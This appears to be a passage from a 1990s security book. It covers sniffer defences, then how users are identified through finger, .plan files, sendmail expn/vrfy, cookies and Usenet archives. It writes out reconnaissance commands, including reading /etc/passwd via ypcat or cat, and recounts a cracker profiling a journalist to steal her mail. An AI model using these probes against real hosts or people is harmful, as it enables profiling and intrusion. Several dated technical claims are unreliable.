At various points in this book, I mention a product called Secure Shell, or SSH. SSH is a protocol that provides secure communications in an application environment such as Telnet. It is built on the client/server model, as are most protocols out there. The official port that the SSH server binds to is 22. Connections are negotiated using an algorithm from RSA. After the authentication procedure is complete, all subsequent traffic is encrypted using IDEA technology. This is typically strong encryption and is suitable for just about any nonsecret, nonclassified communication.

For quite some time, the original SSH has been lauded (rightly so) for being the chief communications protocol that provided security by encrypted session. However, that all changed in mid-1996. SSH forged an alliance with Data Fellows, and F-SSH currently provides high-level, military-grade encryption to communication sessions. It provides the strongest encryption available to the general public for communications across TCP/IP.

If you employ F-SSH on your site, usernames and passwords become less of an issue. To my knowledge, there have been no instances of anyone cracking such an encryption scheme. If you employ this product, even if a sniffer is present, the value of the information gleaned would be negligible. The hard part is getting your staff to use it.

People sometimes receive new policies and authentication procedures poorly. In short, you might have to demonstrate to your local users exactly how easy it is to use SSH.

Both free and commercial versions of SSH and F-SSH exist. The free version is a UNIX utility; commercial versions for Windows 3.11, Windows 95, and Windows NT are available.

What Are Some Other Ways to Defeat Sniffer Attacks?

The generally accepted way to defeat sniffer attacks is to employ safe topology. That sounds easy enough, but involves some cost.

Are you familiar with that puzzle game that consists of a series of numbered tiles? The object of the game is to arrange the numbers so they appear in sequential, ascending order using the fewest possible moves. When working with network topology (under cost constraints by management), you are playing a game much like the tile game.

Here are the rules:

That established, let's have a look. The first point is this: a network block should be composed of only those machines that need to trust one another. These typically belong in the same room or, at worst, within the same office. Your accounting staff, for example, should be bunched together in some portion of the building (see Figure 12.6).


The accounting office.

From the diagram in Figure 12.6, you can immediately see one difference in this configuration as compared to the others earlier in this chapter. Notice that each of the stations is hardwired to the hub. (There is no closed-circuit wrap, like you often see in small Novell networks. I see that kind of configuration all the time in medical and legal offices.) Furthermore, the hub is wired to a switch. The major difference is that because the segment is hardwired in this fashion, packets can only be sniffed within that network segment. Thus, the remaining portion of the network (beyond the switch) is protected from sniffing activity. This technique is commonly referred to as compartmentalization or segmentation.


TIP: You can also use bridges or routers to perform this segmentation. This may be more suitable, depending upon your configuration and finances. In fact, an older PC or workstation can be made to act as a bridge or a router.

In segmentation, costs rise dramatically. Suppose you have 50 departments. Does that mean you need 50 hubs, 50 switches, and a router to tie them together? Possibly. It depends on how paranoid you really are. If you are doing sensitive work, then yes, you will be spending money on hardware. But consider the advantages: If an evil accounting employee wants to plant a sniffer, he can get no more than he could by physically tampering with his coworker's workstation. Moreover, if a sniffer is found on one of the three stations in accounting, there are only a limited number of individuals who could have placed it there.

The problem is a matter of trust. Some machines must trust one another in order to traffic information between themselves. Your job as a system administrator is to determine ways in which to create the fewest trust relationships possible. In this way, you build a framework that can tell you when a sniffer is placed, where it is, and who could have placed it.

The problem is, in most offices, there is no real level of trust. The average American business is in the business of making money. Tech support is expensive and so is the downtime to restring a network. Additionally, there can be serious costs involved in that restringing. What if all the wiring is embedded in the walls? These are all issues that you must consider. In legacy networks, these are real problems.

Also, you must consider the level of risk. What are you protecting? What are you planning to do regarding the Internet? These are the real issues. If you intend to connect your LAN to the Net, a firewall is not going to be enough. Relying solely on a firewall is a bad idea because new cracking techniques are always emerging. Are firewalls impenetrable? Vendors say yes, as long as they are properly configured. However, think about that statement for a moment. There was a time, not long ago, when shadowed password schemes were touted as pretty close to infallible (in spite of the fact that everyone deep in security knew that NIS would remain a weakness that could render the best shadowing a wet noodle). Crackers can already scan behind a firewall and determine the services running there. That is the first and most important step.

It will not be long before firewalls get cracked, so be prepared. Your first concern should be the worst case: If an intruder cuts through your armor, how far can he or she get? Try to think of it in terms of a path or a trajectory. Starting at your Web server and working your way back, how deep do the various levels of trust go? For example, the Web server probably trusts one machine, which we'll call workstation1. How many machines does workstation1 trust? How many of those machines trust others? In other words, worst case scenario, where will the cracker finally run out of machines to compromise?

Your job is to prevent that worst-case scenario from becoming a disaster. You do so by ensuring that if an intruder places a sniffer, that sniffing activity is confined to a very small area.

If I ran a large LAN connected to the Net, I would be sniffing the traffic on it. There are products that can reliably and conveniently present the results of such sniffing in tabular form. A good storage device, such as a Jazz drive, makes an excellent target to save those sniffer logs.

Summary

In this chapter, you learned a bit about sniffers:

I assert that you can benefit greatly by running a sniffer on your network, even if only for a day. This will familiarize you with what a cracker is facing to implement such an attack. Also, after you are proficient with a sniffer, you can see for yourself what type of information can actually be gleaned from your particular network configuration.

Lastly, sniffer or no sniffer, trace the levels and relationships of trust on your network. You might be surprised to find that this path extends through the larger portion of your network for one reason or another. This becomes more complicated, depending on how many interfaces you are running and how many protocols run on them. For example, if your firm is running Novell in one area, AppleTalk in another, TCP/IP in another, DECnet in another, NFS in another, and so forth, you have your job cut out for you. Starting at any given point, how far can you travel before you reach a trust roadblock?


Cross Reference: Levels of trust and relationships between network segments will be examined further in Chapter 28, "Spoofing Attacks." Spoofing relies almost solely on trust relationships and has little to do with passwords. (After all, who needs a password if two machines already trust one another?)

These considerations are all relevant to the sniffer issue. In closing, sniffers are very powerful tools for crackers, but only if you let them be. Moreover, if you find one on your network, do not immediately remove it. Instead, install one of your own and find out who is pulling the strings. Successful conclusions to network break-ins almost never begin with confrontations. They begin with stealth. You cannot go to the halls of justice without evidence.


13

Techniques to Hide One's Identity

When the network that is now the Internet was first designed, it was assumed that all users wanted to be found. No one had reason to hide, and it seemed sensible that researchers should be able to locate each other. Utilities were therefore created to facilitate such finding.

Since those early days, the rise of multiple protocols has made finding people even more convenient. As you will see later in this chapter, the old days demanded a high level of networking knowledge from the user. Today, finding or identifying most individuals is trivial. Throughout this chapter, I examine those techniques, as well as some concepts about wholesale tracing (tracing many individuals at one time).

You may wonder why this is deemed a security issue. In truth, it really isn't--not yet. As you read this chapter, however, you will learn that the Internet is a powerful tool for domestic spying. Law-enforcement and intelligence agencies already conduct such practices on the Internet, and for them, the Network is a bonanza. No search warrant is needed to "study" the activity of someone on the Internet. Likewise, no warrant is needed to compile lists of individuals who law enforcement perceive to be involved in illegal (or even seditious) activity. This is not a joke. If you harbor radical political views, by the end of this chapter, you may elect to forever keep those views to yourself (or gain a decent education in cryptography).

Like all chapters, this one begins with the most fundamental aspects of the treated subject and progresses forward to more advanced information. Experienced users should shoot ahead several pages.

Before I begin, I need to make one statement regarding screenshots and diagnostic network information contained within this chapter. Certain methods of finding individuals demand the use of search engines. Unfortunately, to my knowledge, the law has not been adequately settled regarding the reprinting of an individual's e-mail address without his consent. Because of this, I cannot provide screenshots of searches because they necessarily contain the e-mail addresses of users unknown.

Therefore, the searches have to be described rather than illustrated. I do apologize for this. However, upon reflection, I would not want my e-mail address published, and I see no reason why anyone else would, either. The argument is often made that anyone who posts to a Usenet newsgroups has at least given an implied form of consent. I do not support that view. So, I am afraid that we shall have to get along as best we can by description as opposed to screenshot. I have taken pains to explain each step carefully to provide the utmost clarity. I hope that will suffice.

So, let us begin at the beginning, at the heart of your server. We will start at home base and work our way outward.

What's in a Name?

There are two forms of user identification that apply to all platforms: your e-mail address and your IP address. It is often theorized that if one is obscured, the other can never be found. That is untrue. Without chaining messages through a series of trusted anonymous remailers (remailers that are purportedly secure), anonymity on the Internet is virtually impossible. Anonymous remailers are discussed in Chapter 7, "Birth of a Network: The Internet."

It is possible, however, to make yourself relatively invisible, and that is probably what most individuals would like to do. Before I get more specific, however, there are some utilities you need to know about, as well as methods of tracing individuals. I'll start with finger.

finger

The finger service is a utility common to the UNIX platform. Its purpose is to provide information about users on a given system. In practical operation, finger works like most other services available in UNIX. Figure 13.1 demonstrates the use of Finger32, a popular finger client for the Microsoft Windows platform.


The finger query process.


Cross Reference: Finger32 is a small application port of the UNIX utility finger. It is available here: ftp://hyper.net.au/Win95nt-apps/Finger/Wsfinger/Wsfngr32.zip

The finger service relies on the client/server model, which is a recurring theme in Internet applications. This model works as follows: machines running server applications distribute information to clients. Clients are programs designed to accept and interpret information from server applications. For example, you use a Web browser (or client) to read information forwarded by a Web server (the HTTP server).

In any event, the finger client-server relationship works as follows: On the targeted machine (almost always a UNIX system), there is a server running called fingerd. This is more commonly referred to as the finger daemon. Its purpose is to answer requests from finger clients from the void.

The finger daemon can return different information, depending largely on the configuration of the server and the user's personalized settings. For example, sometimes an "open" UNIX server (that is, one not running a firewall) will disallow finger access. This is done by disabling the finger daemon, removing it from the file /etc/inetd.conf. In this case, the finger service is never started. Any client-issued finger request forwarded to such a machine will meet with a blank response (or perhaps, Connection Refused.).

Many organizations, particularly ISPs, government sites, and private corporations, disable finger services. Each has an interest in preserving the privacy of its users, and that is usually the reason given for disabling the service. As you will learn later, however, their motivation may also be system security.


TIP: Certain vital information about the system can be culled by fingering system IDs such as root, bin, FTP, and so on. On that account, some sites will disable finger services altogether. It is thought that by killing the finger and RPC services, one can restrict the amount of revealing information available to crackers in the void. To some extent, this is true.


Cross Reference: An excellent paper written by Dan Farmer and Wietse Venema addresses this issue: "Improving the Security of Your Site by Breaking Into It." The paper is so widely distributed on the Internet. Here is a very reliable source: http://www.alw.nih.gov/Security/Docs/admin-guide-to-cracking.101.html. (This is a government site, so with all probability, this link will be good for many years to come.)

Some sites do not disable finger services altogether, but instead put restrictions on what type of information can be accessed. For example, by default, the finger daemon allows a systemwide finger. Anyone can be fingered, including special or privileged accounts. When systemwide fingering is allowed, one can gather information on all users currently logged to the machine. This is done by issuing the following command at a UNIX command prompt:

finger @my_target_host.com

The @ symbol has essentially the same effect as the asterisk does in regular expression searches. When it is used, the user is fingering all users currently logged to the target machine. This is most useful when targeting small providers that have few customers, or when conducting such a finger query late at night. Certainly, fingering a company as large as Netcom in this manner would be foolish. (The response forwarded by the server would likely be many pages in length. The only valid reason for doing this would be to generate a database of Netcom users.) At any rate, some organizations will disallow such a request, instead forcing the requesting party to specify a particular user.

Other sites make use of hacked finger daemons, either created in-house or available as distributions from other sites across the Internet. These are finger daemons that have enhanced features, including advanced configuration options.


Cross Reference: One such hacked finger daemon is the Configurable Finger Daemon, or cfingerd. Written by Ken Hollis, cfingerd provides security functions not available in garden-variety finger servers. It is considered to be an excellent replacement to the standard distribution of finger. It is available free of charge at ftp://ftp.bitgate.com/pub/cfingerd/.


Cross Reference: For more generalized understanding of the finger daemon process, I suggest viewing the source for any public-domain finger client. There is a nice online resource for this at http://araneus.york.ac.uk/owtwaww/finger.htm.

At any rate, taking you through the process of a finger inquiry will take just a few moments, but in order for you to exploit the example, you need a finger client. UNIX users, however, have no need for a finger client, because this is included in the basic distribution. The same is true of Windows NT. So this little section is primarily for Windows, Mac, and OS/2 users. The finger clients are listed in Table 13.1.

Table 13.1. Finger clients for non-UNIX, non-NT users.

Platform Client Location
Windows (All) WSFinger ftp://papa.indstate.edu/winsock-l/finger/wsfngr14.zip
Macintosh Macfinger ftp://ftp.global.net.id/pub/mac/internet/finger-15.hqx
OS/2 FFEU http://www.musthave.com/OS2/ftp/ffeu101.zip

For demonstration purposes, I will use Finger32, a popular finger application for Windows 95. The application is simple to use; it presents the user with a self-explanatory screen from which you choose your host. (See Figure 13.2.)


The Finger32 opening screen--choosing a host.

When you choose this option, a dialog box appears, requesting a host and username. (See Figure 13.3.)


Specifying your target.

Providing the target is running a finger server, the return output should read something like this:

Login name: root                        In real life: 0000-Admin(0000)
Directory: /                            Shell: /sbin/sh
Last login Tue Feb 18 19:53 on pts/22
New mail received Wed Feb 19 04:05:58 1997;
  unread since Wed Feb 19 03:20:43 1997
No Plan.

This tells you several things, including the directory where root@samshack resides (/), the shell he or she is using (/sbin/sh), and some details on last login and mail. (Hard-core hackers will know that it also tells you that root@samshack.com is using Solaris as an operating system. Note the 0000-Admin[0000] string.)

This information does not appear to be particularly revealing; however, in 70% of all cases, the field In real life is filled with a name. Worse still, at some universities, you can get the name, telephone number, dorm room number, and major of students enrolled there (not that the major matters particularly, but it provides some interesting background).

The information available on a finger query is controlled primarily by the system administrator of a given site, as well as what information you provide on your initial signup. Most new users are not aware of this and provide all the information they can. Most people have no reason to hide, and many provide their office telephone number or even their home address. It is human nature to be mostly honest, especially when the entity they are providing information to seems benign.

So the process of identification usually either starts or ends with a finger query. As noted previously, the finger query uses your e-mail address as an index. This leads us immediately into an area of some controversy. Some individuals believe that by changing their e-mail address in the Netscape Navigator or Microsoft Internet Explorer Options panels, they obscure their identity. This is not true. It simply makes your e-mail address more difficult to obtain. I will get to this subject momentarily. For now, I want to continue with finger, offering a little folklore. The following is a classic Internet story. (If you've ever fingered coke@cs.cmu.edu, skip these next few paragraphs.)

Years ago, the computer science department staff at Carnegie-Mellon University had a gripe about their Coke machine. Often, staffers would venture down to the basement, only to find an empty machine. To remedy this problem, they rigged the machine, connecting it to the Internet (apparently, they did this by wiring the machine to a DEC 3100). They could then issue a finger request and determine the following things:

Today, you can still issue a finger request to the Coke machine at CMU. If you were to do so, you would receive output very similar to the following:

[ Forwarding coke as "coke@l.gp.cs.cmu.edu" ]
[L.GP.CS.CMU.EDU]
Login: coke                             Name: Drink Coke
Directory: /usr/coke                    Shell: /usr/local/bin/tcsh
Last login Sun Feb 16 18:17 (EST) on ttyp1 from GS84.SP.CS.CMU.EDU
Mail came on Tue Feb 18 14:25, last read on Tue Feb 18 14:25
Plan:
    M & M                   Coke Buttons
   /----\           C: CCCCCCCCCCC.............
   |?????|       C: CCCCCCCC....   D: CCCCCCCCCC..
   |?????|       C: CCCCCCCCCCCC   D: CCCCCCCC....
   |?????|       C: CCCCCCCC....   D: CCCCCCCCC...
   |?????|                         C: C...........
   \----/                          S: C...........
      |        Key:
      |          0 = warm;  9 = 90% cold;  C = cold;  . = empty
      |          Beverages: C = Coke, D = Diet Coke, S = Sprite
      |          Leftmost soda/pop will be dispensed next
    --^--        M&M status guessed.
                 Coke status heuristics fit data.
Status last updated Wed Feb 19 00:20:17 1997

As you can see, there is no end to the information available with a finger query. The story of this Coke machine was told by Terence Parr, President and Lead Mage of MageLang Institute (http://www.magelang.com/), at the 1996 Netscape Developer's Conference at Moscone Center in San Francisco. Reportedly, Parr was demonstrating a Java application that could emulate this Coke machine hack when suddenly, a former CMU student, Michael Adler, rose to the occasion. Adler explained the hack in detail, having firsthand knowledge of the Coke machine in question. In fact, Adler was largely responsible for adding the temperature index function.

At any rate, many administrators insist on supporting finger, and some have legitimate reasons. For example, a finger server allows easy distribution of information. In order for the finger server to support this functionality, the targeted user (or alias) must have a plan file. (The Coke machine at CMU certainly does!) This file is discussed in the next section.

The Plan File (.plan)

On most UNIX servers, user directories are kept beneath the /home/ or /usr directory hierarchies. For example, a user with a username of cracker will have his home directory in /home/cracker. (This is not set in stone. System administrators are responsible for where such directories are kept. They could specify this location as anywhere on the drive, but the typical placement is /usr or /home.)

Typically, in that home directory are a series of special files that are created when the user accesses his account for the first time. For example, the first time he utilizes the mail program Pine, a series of files are established, including .pinerc, which is the configuration file for this mail client.

These files are referred to as dot files, because they are preceded by a period. Most dot files are created automatically. The .plan file, however, is not. The user must create this file himself, using any text editor (for example, vi or pico). This file can be closely correlated with the plan.txt file on a VAX system. Its purpose is to print user-specified information whenever that user becomes the target of a finger query. So, if the user saves into the .plan file a text recounting his life history, that text will be printed to the STDOUT of the party requesting finger information. The .plan file is one way that information can be distributed via the finger server. (Note that you, the user, must create that .plan file. This is not automatically generated by anyone else.) If you examine Figure 13.1 again, this will seem a bit clearer.


TIP: You may have encountered servers or users that suggest that you Finger for more info. Usually, this entails issuing a finger request to an address like info@targethost.com. Most often, the information you receive (which could be pages of plain text) comes from the .plan file.

There are other reasons that some administrators keep the finger service operational. Entire programs can be launched by specifying a particular address to be fingered. In other words, one could (although it is not recommended) distribute text files this way. For example, you could write an event handler to trap finger queries aimed at a particular user; if user A were fingered, the server would send a specified text file to the requesting party. I have seen more than one server configured this way, although it is more common to see mail lists designed in this manner.

For whatever reason, then, finger services may be running on the server at which you have an account. If you have never bothered to check what information is available there, you can check now by issuing a finger request to your own account. You can also examine this information (the majority of it, anyway) by issuing the following command at a shell prompt:

grep your_username /etc/passwd


TIP: This technique will only work on servers that use non-shadowed password files, or those that are not employing NIS. In those instances, you may have to issue a command more like this:

ypcat passwd || cat /etc/passwd | grep user_name



This command will print the information the server holds on you in the /etc/passwd file. Note that this information will be visible even if the server makes use of shadowed password entries.

So now you know: The names of the majority of Net citizens are there for the taking. If your system administrator insists on using finger, there are several things you can do to minimize your exposure:


NOTE: If you believe in harsh solutions and you want to discourage people from repeatedly fingering your account, write a .plan file that forwards a few megabytes of garbage. This is most useful if your sysad refuses to assist, chfn is unavailable, and some joker is trying to clock your movements using finger.

Of course, perhaps you are not concerned with being fingered as much as you are concerned with who is doing the fingering. If so, you need MasterPlan.

MasterPlan

MasterPlan is an excellent utility. Written by Laurion Burchall and released in August 1994, this product takes an aggressive approach to protecting your privacy. First and foremost, MasterPlan identifies who is trying to finger you. Each time a finger query is detected, MasterPlan attempts to get the hostname and user ID of the fingering party. These variables are piped to an outfile called finger_log. MasterPlan will also determine how often you are fingered, so you can easily detect if someone is trying to clock you. (Clocking refers to the practice where user A attempts to discern the habits of user B using various network utilities, including finger and the r commands.)


TIP: The r commands consist of a suite of network utilities that can glean information about users on remote hosts. I will discuss one of these, a utility called rusers, in a moment.

Typically, a cracker writes a shell or Perl script to finger (or otherwise query) the target every specified number of minutes or hours. Reasons for such probing can be diverse. One is to build a profile of the target; for example, when does the user log in? How often does the user check mail? From where does the user usually log in? From these queries, a cracker (or other nosy party) can determine other possible points on the network where the user can be found.

Consider this example: A cracker I know was attempting to intercept e-mail trafficked by a nationally renowned female journalist who covers hacking stories. This journalist had more than one account and frequently logged into one from another. (In other words, rather than directly logging in, she would chain her connections.) This is a common practice by individuals in the public eye. They may want to hide from overly enthusiastic fans (or perhaps even legitimate foes). Thus, they preserve at least one account to receive public mail and another to receive private mail.

By running a probing script on the journalist, the cracker was able to identify her private e-mail address. He was also able to compromise that network and ultimately capture all the journalist's mail. The mail was primarily discussions between the journalist and a software engineer in England. The subject matter concerned a high-profile cracking case in the news. (That mail was later distributed to crackers' groups across the Internet.)

In any event, MasterPlan can help to identify these patterns, at least with respect to finger queries. The utility is small, and easily unpacked and configured. The C source is included, and the distribution is known to compile cleanly on most UNIX systems. (The exceptions are reportedly Ultrix and the NeXT platform.) One nice amenity for Linux users is that a pre-compiled binary comes with the distribution. The standard distribution of MasterPlan is available at

The Linux compiled version is available at

As you've now seen, the finger utility is dangerous and revealing. More and more sites are now disabling finger services, at least with respect to external queries. For various reasons, however, many providers simply do not bother to shut it down.


TIP: If you want to see an example of mapping an IP address to a username dynamically, trying fingering ppp@wizard.com. This host has apparently aliased out the PPP connections so that the entire list of users connected via PPP can be examined using the finger command. Thus, if you receive a message from a user in that domain, but the user obscured his e-mail address, it could still be culled using the finger command. By fingering the entire block of current PPP addresses, you can map the IP to a username and from there, finger the username. By going through this process, you can easily obtain the e-mail address of a user in that domain, even if he is trying to hide.

Note that MasterPlan will not prevent someone from fingering you; it will simply identify that party and how many times the finger request has been issued.

But all this assumes that your provider allows finger requests from the void. Suppose for a moment that it doesn't. Does this mean that you are safe and that you shouldn't worry about your name being revealed? Hardly. It simply means that a standard finger query will fail to render any information about you.

Suppose that someone is attempting to finger you and discovers that finger requests from the void are prohibited. Suppose further that this person is determined to find your real name and is willing to risk an angry message from your provider to his own. In such a case, the nosy party will initiate a Telnet session to your provider's mail server. (This is done by initiating a Telnet request to port 25.)

In most cases (except those where the provider is paranoid or running a firewall), a server will accept a Telnet connection to port 25 (the port that sendmail runs on). Such a connection looks like this:

220 shell. Sendmail SMI-8.6/SMI-SVR4 ready at Wed, 19 Feb 1997 07:17:18 -0800


TIP: The preceding piece of a started Telnet session was initiated on a Solaris 2.5 SPARC station 20. Different flavors of UNIX will provide different strings at the beginning of the session. However, almost all reveal the operating system and version number.

If the nosy party can get to such a prompt, there is better than an 80 percent chance that he will have your name momentarily. The information is collected by issuing the following command:

expn username

This command requests that the mail package expand a username into an e-mail address and real name. This is a feature (not a bug) of the sendmail package. The response will typically expand into something similar to

username <username@target_of_probe.com> Real Name

The first field will report back the username or user ID that you request to be expanded. This will be followed by the person's e-mail address and finally, his "real" name.

Note that the expn function can be disabled by the system administrator, although few actually do it. There are reasons for this, and the most probable is that administrators simply fear fiddling with the sendmail configuration. Sendmail is a notoriously complex and powerful program that has evolved into a huge package. There are so many options for it that an entire book could be written just on its configuration. It is for this reason, no doubt, that sendmail has consistently been the source of holes in Internet security. So you might wonder why the program is even used at all. That is easy to explain. Sendmail is the most successful program for transport of electronic mail ever created. Millions of users all over the world send mail each day using this program.

In any event, if the expn function is operable, the nosy individual will still get your real name, if it is available. Unfortunately, even if the expn function has been disabled, the snooping party can still verify the existence of your account using the vrfy function. This is academic, however; if your provider's sendmail system honors Telnet sessions, there is a greater than 70 percent chance that one or both of these functions is available.


TIP: You will find that many other versions of sendmail-- which has now been ported to almost every platform-- will also render this information.

Currently, other than rewriting your account so that your real name does not appear in the /etc/passwd database, there is no way for you to exercise control over these remote functions. sendmail issues must be resolved by root. Moreover, it is highly unlikely that a system administrator will fiddle with his or her sendmail configuration just to satisfy the needs of a paranoid user. Thus, the rule of thumb is this: If you intend to remain untouchable on the Net, you must never, ever allow your real name to fill that field within the /etc/passwd file.

A Few Words About Cookies

You have seen the message many times. You land on a WWW site and a dialog box appears. The server at the other end says it wants to set a cookie. Most users have no idea what this means, so they simply click the OK button and continue. Other users actually read the dialog box's contents and get a little worried. (This is especially true when the cookie is going to be set for sometime into the year 2000. The user may not be sure what a cookie is, but almost all users balk when that cookie is going to hang around for 3 or 4 years.)


TIP: If you have never seen such a dialog box, you need to set your options to warn you before cookies are being set. Personally, I prefer to at least be notified when anything is being written to my hard disk drive. You should watch all such activities closely, monitoring any code or other device that is arbitrarily forwarded to your machine.

What are cookies? The cookie concept is very much like getting your hand stamped at a dance club. You can roam the club, have some drinks, dance, and even go outside to your car for a few minutes. As long as the stamp is on your hand, you will not have to pay again, nor will your access be restricted. But cookies go much further than this. They record specific information about the user, so when that user returns to the page, the information (known as state information) can be retrieved. The issue concerning cookies, though, isn't that the information is retrieved. The controversy is about where the information is retrieved from: your hard disk drive.

Cookies (which Netscape calls persistent client state HTTP cookies) are now primarily used to store options about each user as he browses a page. The folks at Netscape explain it this way:

This simple mechanism provides a powerful new tool which enables a host of new types of applications to be written for Web-based environments. Shopping applications can now store information about the currently selected items, for fee services can send back registration information and free the client from retyping a user-id on next connection, sites can store per-user preferences on the client, and have the client supply those preferences every time that site is connected to.


Cross Reference: The article from which the previous quote is excerpted, "Persistent Client State HTTP Cookies," can be found at http://home.netscape.com/newsref/std/cookie_spec.html.

To understand the way cookies work, please examine Figure 13.4.


Setting cookies.

As you can see, when the remote server is contacted, it requests permission to set a cookie. (One wonders why some sites set a cookie on their opening page. Just what state information are they recording? You haven't specified any preferences yet, so there is essentially nothing to record.) Prior to the setting of the cookie, however, the user is generally confronted with the advisory shown in Figure 13.5.


Cookie warning!


TIP: Note that this advisory will only be shown if you choose this option (Warn on Cookie) in your preferences. In Netscape Navigator, this option can be toggled in the Network Preferences menu under the Protocols tab. In Microsoft Internet Explorer, it can be set in the Options menu under the Advanced tab.

Advocates of cookies insist that they are harmless, cannot assist in identifying the user, and are therefore benign. That is not true, as explained by D. Kristol and L. Montulli in RFC 2109:

An origin server could create a Set-Cookie header to track the path of a user through the server. Users may object to this behavior as an intrusive accumulation of information, even if their identity is not evident.(Identity might become evident if a user subsequently fills out a form that contains identifying information.)

I know many programmers who are exploring techniques for using cookies for user authentication. This is disturbing. There has not been enough scrutiny of the privacy issues surrounding cookies, and there needs to be some method developed to manage them. That is, perhaps some cookies are desirable to a particular user and some are not. The user may visit certain sites regularly. If those sites use cookie conventions, the user will unnecessarily be confronted with a cookie warning each time he visits, unless that cookie remains on the drive. However, other cookies (from sites that the user may never visit again) should be easily removed. This is also discussed in RFC 2109:

User agents should allow the user to control cookie destruction. An infrequently used cookie may function as a "preferences file" for network applications, and a user may wish to keep it even if it is the least-recently-used cookie. One possible implementation would be an interface that allows the permanent storage of a cookie through a checkbox (or, conversely, its immediate destruction).

Briefly, to find the cookies on your hard disk drive, search for the file cookies.txt. This file will contain a list of cookies and their values. It looks like this:

www.webspan.net    FALSE    /~frys    FALSE    859881600    worldohackf   
2.netscape.com TRUE / FALSE 946684799 NETSCAPE_ID 1000e010,107ea15f.adobe.com TRUE / FALSE 946684799 INTERSE 207.171.18.182 6852855142083822www.ictnet.com
FALSE / FALSE 946684799 Apache pm3a-4326561855491810745.microsoft.com TRUE / FALSE 937422000 MC1 GUID=260218f482a111d0889e08002bb74f65.msn.com TRUE / FALSE 937396800 MC1
ID=260218f482a111d0889e08002bb74f65comsecltd.com FALSE / FALSE
1293753600 EGSOFT_ID 207.171.18.176-3577227984.29104071 .amazon.com TRUE / FALSE 858672000 session-id-time 855894626.amazon.com TRUE / FALSE
858672000 session-id 0738-6510633-772498

This cookie file is a real one, pulled from an associate's hard disk drive. You will see that under the GUID, the leading numbers are an IP address. (I have added a space between the IP address and the remaining portion of the string so that you can easily identify the IP. In practice, however, the string is unbroken.) From this, you can see clearly that setting a cookie may involve recording IP addresses from the target. Now, this does not mean that cookies are a major threat to your privacy. Many JavaScript scripts (and Perl scripts) are designed to "get" your IP. This type of code also can get your browser type, your operating system, and so forth. Following is an example in JavaScript:

 <script language=javascript>
     function Get_Browser() {
     var appName = navigator.appName;
     var appVersion = navigator.appVersion;
     document.write(appName + " " + appVersion.substring (0,appVersion.indexOf(" ")));
     }
</script>

This JavaScript code will get the browser and its version. Scripts like this are used at thousands of sites across the Internet. A very popular one is the "Book 'em, Dan-O" script. This script (written in the Perl programming language) will get the time, the browser, the browser's version, and the user's IP.


Cross Reference: The "Book 'em, Dan-O" script was written by an individual named Spider. It is currently available for download at Matt's Script Archive, at http://worldwidemart.com/scripts/dano.shtml.


Cross Reference: One site that will get many of your environment variables, particularly if you use UNIX, is located at http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-env. What is interesting is that it will catch both the PPP-based address (as in ppp32-vn074.provider.com) as well as your actual IP.

Also, nearly all Web server packages log access anyway. For example, NCSA HTTPD provides an access log. In it, the IP address of the requesting party is logged. The format of the file looks like this:

- - [12/Feb/1997:17:20:59 -0800] "GET /~user/index.html i HTTP/1.0" 200 449

The major difference between these devices and the cookie implementation, however, is that cookies are written to a file on your hard disk drive. Many users may not be bothered by this, and in reality, there is nothing threatening about this practice. For example, a cookie can only be read by the server that set it. However, I do not accept cookies as a rule, no matter how persistent the server may be at attempting to set one. (Some programmers provide for this process on every page, hoping that eventually the user will tire of dealing with dialog boxes and simply allow the cookie to be set.)

It is interesting to note that some clients have not been preconfigured to deny cookies. In these instances, a cookie may be written to the drive without the user's consent, which is really the default configuration, even for those browsers that support screening of cookies. Early versions of both Netscape Navigator and Microsoft Internet Explorer shipped with the Deny Cookies checkbox unchecked. Absentmindedness on the part of the vendors? Perhaps. If you have a problem denying cookies, for whatever reason, there is an action you can undertake to prevent these items from being written to your drive. One is to make the file cookies.txt read-only. Thus, when a foreign Web server attempts to write to the file, it will fail.


TIP: It has been reported that this can be done in MacOS by first deleting and then re-creating the cookie file and subsequently placing it into the Preferences folder.

I recommend denying cookies, not so much because they are an invasion, but because they leave a trail on your own hard disk drive. That is, if you visit a page that you have been forbidden to access and it sets a cookie, the evidence will be in cookies.txt. This breaks down to cache issues as well: even if your cookies file is clean, your cache will betray you.


NOTE: Although this is a well-known issue, new users may not be aware of it, so I will explain. To retrieve the sites you have most recently visited, type about:cache in the Open Location box in Netscape's Navigator. A new page will appear, showing Web pages you have recently visited. So, if you browse the Net at work when you are supposed to be performing your duties, you will want to kill that cache every few minutes or set its value to 0.

Currently, denying a cookie does not dramatically influence your ability to access a page, although that may change in the future. At best, the cookie issue has assisted in heightening public awareness that a remote Web server can cull your IP address and, in certain instances, your location, your operating system, your browser, and so forth.


NOTE: If you are uncomfortable with denying cookies from all sites, perhaps you should check out a program called Cookie Jar. Cookie Jar allows you to specify what servers you will accept cookies from. The program was written by Eric Murray, a member of the Sams technical editorial team. Cookie Jar is located at http://www.lne.com/ericm/cookie_jar/. The main amenity of Cookie Jar is convenience. Many sites require that you accept a cookie to access certain services. Cookie Jar can perform filtering for you.

Public Postings

We will now assume that no one knows who you are. They are about to find out, however, because you are about to post a message to a Usenet newsgroup. From the moment you post a message to Usenet, your name and e-mail address are fair game.

The Usenet news network is somewhat different from other forms of communication on the Internet. For a start, it is almost entirely public, with a very few exceptions. Moreover, many Usenet news newsgroups are archived--that is, the articles posted to such groups are bundled and stored for later use. I have seen archived messages ranging back to 1992, some of which are reachable by WAIS, FTP, Telnet, and other, antiquated interfaces.


TIP: Note that these are private archives and have nothing to do with search engines. The big search engines generally archive Usenet messages for a few weeks only. In contrast, private archives (maintained by non-commercial, special interest groups), especially those that have listservers in addition to newsgroups, may be maintained for a long, long time.

Because these messages are kept, your e-mail address (and identity, because your identity can be traced with it) has a shelf life. Hucksters like list brokers routinely tap such archives, searching for leads--collections of e-mail addresses of persons who share a particular interest, such as all females over 40 years of age who smoke a pipe, have an eye patch, and voted Republican in the last election. If you think that this level of refinement is ludicrous, think again. Applying various search spiders (and a number of personal robots), one can narrow the search to something that specific.

The first step in developing such a list is to capture e-mail addresses. To do this, any garden-variety search engine will do, although AltaVista (altavista.digital.com) and DejaNews (www.dejanews.com) have the most malleable designs. Even though these engines are well known to most users, I am providing screen captures of their top-level pages, primarily for reference purposes as I explain Usenet snooping.


The top-level page of AltaVista.

AltaVista is one of the most powerful search engines available on the Internet and is provided as a public service by Digital Equipment Corporation (DEC). It accepts various types of queries that can be directed toward WWW pages (HTML) or Usenet postings. (The Usenet postings are archived, actually. However, DEC reports that these are kept only for a period of "a few weeks.")

